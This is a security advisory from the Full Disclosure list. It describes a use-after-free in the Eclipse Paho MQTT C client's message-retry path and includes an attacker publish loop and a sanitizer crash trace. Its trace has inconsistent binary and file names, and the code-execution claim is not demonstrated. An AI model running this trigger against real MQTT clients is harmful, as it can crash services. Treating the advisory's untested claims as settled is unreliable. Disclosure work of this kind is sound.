GCVE-1988-2026-0176

*Description:*
Eclipse Paho MQTT C Client contains a heap use-after-free vulnerability in
the synchronous MQTT client (libpaho-mqtt3c) when handling incoming PUBLISH
messages with retry semantics. When a user-supplied messageArrived()
callback frees the received message and returns 0 (indicating processing
failure and requesting retry), the library retains internal references to
the freed message and later reuses them during retry processing. This
results in a use-after-free inside the library, leading to a crash and
potential arbitrary code execution depending on heap state. The
vulnerability occurs because the library does not revalidate message
ownership or clone message data before reusing it on retry paths.

*Impact:*
An unauthenticated remote attacker capable of publishing messages to the
MQTT broker can trigger this vulnerability, resulting in:
* Denial of Service (crash)
* Potential Remote Code Execution, depending on heap layout and allocator
behavior

*Affected Component:*

   - Library: Eclipse Paho MQTT C Client
   - Module: libpaho-mqtt3c (synchronous client)
   - File: src/MQTTClient.c
   - Function: MQTTClient_run() (retry processing path)

*Attack Vector:*

   - Remote / Network
   - Triggered via MQTT PUBLISH packets
   - No authentication required in common broker configurations
   - No local access required

*Server:*
# mosquitto -p 1884 -v
—snip—

1768860860: Client auto-3592976F-BCF9-1EDF-2A8D-A28A40C30202 disconnected.
1768860860: Client asan-client closed its connection.

*Payload (attacker):*

# for i in {1..50}; do   mosquitto_pub -h 127.0.0.1 -p 1884 -t uaf/test -q
1 -m "AAAA$i"; done

*Client:*export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
export UBSAN_OPTIONS=print_stacktrace=1

./MQTTClient_ASAN
[*] Creating client
[*] Connecting
[*] Subscribing
[*] Waiting for message (publish now!)
[!] messageArrived called
[!] returning 0 (retry path)
=================================================================
==179019==ERROR: AddressSanitizer: heap-use-after-free on address
0xfc2fa47e1b78 at pc 0xaaaac160cd98 bp 0xfbffa29fd270 sp 0xfbffa29fca60
READ of size 9 at 0xfc2fa47e1b78 thread T1
    #0 0xaaaac160cd94 in strlen
(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x4cd94) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
    #1 0xffffa5b298d8 in MQTTClient_run
/root/paho.mqtt.c/src/MQTTClient.c:911:9
    #2 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
    #3 0xffffa57cb9f0 in start_thread nptl/pthread_create.c:448:8
    #4 0xffffa5836fc8 in thread_start
misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72

0xfc2fa47e1b78 is located 8 bytes inside of 32-byte region
[0xfc2fa47e1b70,0xfc2fa47e1b90)
freed by thread T1 here:
    #0 0xaaaac169928c in free
(/root/paho.mqtt.c/build-asan/MQTTClient+0xd928c) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
    #1 0xffffa5bd149c in myfree /root/paho.mqtt.c/src/Heap.c:285:4
    #2 0xffffa5aff74c in MQTTClient_free
/root/paho.mqtt.c/src/MQTTClient_ASAN.c:659:2
    #3 0xaaaac16dbf88 in messageArrived
/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:18:5
    #4 0xffffa5b29fc4 in MQTTClient_run
/root/paho.mqtt.c/src/MQTTClient.c:917:10
    #5 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
    #6 0xffffa5836fc8 in thread_start
misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72

previously allocated by thread T1 here:
    #0 0xaaaac1699520 in malloc
(/root/paho.mqtt.c/build-asan/uaf_trigger+0xd9520) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
    #1 0xffffa5bd0a54 in mymalloc /root/paho.mqtt.c/src/Heap.c:201:16
    #2 0xffffa5b504dc in readUTFlen
/root/paho.mqtt.c/src/MQTTPacket.c:395:18
    #3 0xffffa5b4b460 in MQTTPacket_publish
/root/paho.mqtt.c/src/MQTTPacket.c:570:21
    #4 0xffffa5b4d598 in MQTTPacket_Factory
/root/paho.mqtt.c/src/MQTTPacket.c:150:16
    #5 0xffffa5b1e62c in MQTTClient_cycle
/root/paho.mqtt.c/src/MQTTClient.c:2648:12
    #6 0xffffa5b284ac in MQTTClient_run
/root/paho.mqtt.c/src/MQTTClient.c:866:10
    #7 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
    #8 0xffffa5836fc8 in thread_start
misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72

Thread T1 created by T0 here:
    #0 0xaaaac167d5ac in pthread_create
(/root/paho.mqtt.c/build-asan/uaf_trigger+0xbd5ac) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
    #1 0xffffa5b92adc in Paho_thread_start
/root/paho.mqtt.c/src/Thread.c:79:6
    #2 0xffffa5b244c0 in MQTTClient_connectURIVersion
/root/paho.mqtt.c/src/MQTTClient.c:1239:3
    #3 0xffffa5b0efec in MQTTClient_connectURI
/root/paho.mqtt.c/src/MQTTClient.c:1731:8
    #4 0xffffa5b0512c in MQTTClient_connectAll
/root/paho.mqtt.c/src/MQTTClient.c:1888:8
    #5 0xffffa5b02ec0 in MQTTClient_connect
/root/paho.mqtt.c/src/MQTTClient.c:1759:13
    #6 0xaaaac16dc1d8 in main
/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:38:5
    #7 0xffffa5762598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #8 0xffffa5762678 in __libc_start_main csu/../csu/libc-start.c:360:3
    #9 0xaaaac15f542c in _start
(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x3542c) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

GCVE-1988-2026-0176

Paho v1.3.15 Heap Use-After-Free in Eclipse Paho MQTT C Client via Message Retry Logi

Description (en)

References